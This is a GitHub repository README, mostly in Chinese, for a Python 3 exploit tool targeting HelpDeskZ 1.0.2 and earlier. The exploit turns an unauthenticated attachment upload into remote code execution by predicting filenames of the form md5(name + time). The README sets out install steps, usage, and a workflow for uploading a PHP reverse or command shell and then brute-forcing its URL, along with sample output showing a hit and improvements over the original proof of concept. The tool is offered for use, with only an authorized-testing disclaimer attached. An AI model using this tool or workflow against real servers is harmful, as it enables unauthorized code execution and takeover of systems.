appl3b0y/helpdeskz-rce
GitHub: appl3b0y/helpdeskz-rce
针对 HelpDeskZ ≤ 1.0.2 任意文件上传到 RCE 漏洞的 Python 3 利用工具,通过服务器时钟同步和哈希回溯预测附件路径实现远程代码执行。
Stars: 0 | Forks: 0
# helpdeskz-rce
**HelpDeskZ ≤ 1.0.2 — 未认证任意文件上传到 RCE。**
Python 3 移植版本,包含服务器时钟同步、实时进度显示以及 reverse-shell 检测。
基于 Lars Morgenroth (@krankoPwnz) 的 [EDB-40300](https://www.exploit-db.com/exploits/40300)。
由 [appl3b0y](https://github.com/appl3b0y) 移植并改进。
## 背景
HelpDeskZ ≤ 1.0.2 将工单附件存储在哈希文件名下:
```
// controllers/submit_ticket_controller.php — line 141
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
```
文件名看起来是随机的,但**完全可预测**:它是 `md5(originalFilename + uploadEpoch)`。通过同步到服务器的时钟并向后暴力破解几百秒,攻击者可以恢复存储的文件名并访问上传的 PHP shell。
## 安装
```
git clone https://github.com/appl3b0y/helpdeskz-rce
cd helpdeskz-rce
pip install requests
```
需要 Python ≥ 3.7。
## 用法
```
usage: helpdeskz_upload.py [-h] [-w SECS] [-t TIMEOUT] [-k] url name
positional arguments:
url attachments dir, e.g. http://host/helpdeskz/uploads/tickets/
name original filename you uploaded (e.g. shell.php)
options:
-w, --window SECS seconds to search backwards (default 300)
-t, --timeout per-request timeout in seconds (default 7)
-k, --insecure skip TLS certificate verification
```
### 工作流程
1. 在目标 HelpDeskZ 实例上提交一个工单,附上你的 `shell.php`(reverse shell 或 command shell),完成验证码并提交。
2. 忽略 `"File is not allowed."` 消息。
3. 立即针对附件目录运行脚本:
```
python3 helpdeskz_upload.py http://target.local/helpdeskz/uploads/tickets/ shell.php
```
对于 **reverse shell**,脚本会检测挂起的响应并打印 URL,同时你可以在你的 listener 上接收回调。对于 **command shell**,它会报告 URL 和一个 `curl` payload 示例。
### 示例输出
```
[*] server time ~ 1780570912 (11:01:52 UTC)
[*] target http://target.local/helpdeskz/uploads/tickets/
[*] guessing md5('shell.php' + time) over 300s
[ - 42s ] f0138b663e7348bc5c4bf0c0f4f792f1.php -> hung
[+] found (payload executing): http://target.local/helpdeskz/uploads/tickets/f0138b663e7348bc5c4bf0c0f4f792f1.php
[*] reverse shell? check your listener.
```
如果在默认的 300 秒窗口内未找到任何内容,请扩大窗口:
```
python3 helpdeskz_upload.py http://target/.../ shell.php -w 900
```
## 相比原版 PoC 的改动
| 领域 | 原版 (EDB-40300) | 此移植版 |
|---|---|---|
| **Python 版本** | 仅支持 Python 2 (`print` 语句) | Python 3 |
| **MD5 输入** | `hashlib.md5(str)` — 在 Py3 上会报 `TypeError` | `hashlib.md5(bytes)` |
| **时间戳来源** | 本地时钟 (`time.time()`) — 在攻击者和目标之间存在任何时钟偏差时均会失败 | 从 HTTP `Date` 头解析服务器时钟,并以本地时间作为后备 |
| **Reverse-shell 检测** | 仅查找 `200` — 静默跳过因 PHP payload 阻塞响应而挂起的文件 | 将请求**超时视为命中**(涵盖 `ReadTimeout`、`ConnectTimeout`、HTTP 和 HTTPS) |
| **进度反馈** | 在成功或失败之前保持静默 | 实时单行进度:偏移量、候选哈希、HTTP 状态 |
| **CLI** | 两个固定的位置参数 | 带有 `-w` (窗口)、`-t` (超时)、`-k` (不安全 TLS) 的 `argparse` |
| **TLS 支持** | 隐式,在自签名证书上会报错中断 | 使用 `-k` 跳过证书验证 |
| **文件扩展名** | 硬编码 `.php` | 从上传的文件名中提取(适用于 `.php5`、`.phtml`、无扩展名的文件等) |
| **错误处理** | 遇到任何请求异常都会崩溃 | 针对每个请求的异常处理;单个请求失败不会中止运行 |
| **响应处理** | 泄露未关闭的响应 | 使用上下文管理器 (`with sess.get(...) as r`) |
两个最重要的改动是:
- **Reverse-shell 检测。** 每当 payload 是 reverse shell 时,原版会静默跳过正确的文件,因为请求从未返回 `200` —— 它会一直挂起直到超时,被当作错误丢弃,然后循环继续。此移植版将超时的 HEAD 请求视为它实际上的成功信号。
- **服务器时钟同步。** 攻击者主机与目标之间任何重大的偏差(在由 VPN 构建的实验网络中很常见)都会将哈希文件名移出搜索窗口,使得原版 PoC 看起来像是失效的,而实际上它只是在为错误的 epoch 计算有效的哈希。
## 免责声明
仅供授权的安全测试、CTF 和教育使用。请勿对您不拥有或未获得明确测试许可的系统运行此工具。
## 致谢
- **原始漏洞研究和 PoC:** Lars Morgenroth ([@krankoPwnz](https://twitter.com/krankoPwnz)) — [EDB-40300](https://www.exploit-db.com/exploits/40300)
- **Python 3 移植和改进:** [appl3b0y](https://github.com/appl3b0y)
标签:CISA项目, Python, Web安全, 安全, 无后门, 蓝队分析, 超时处理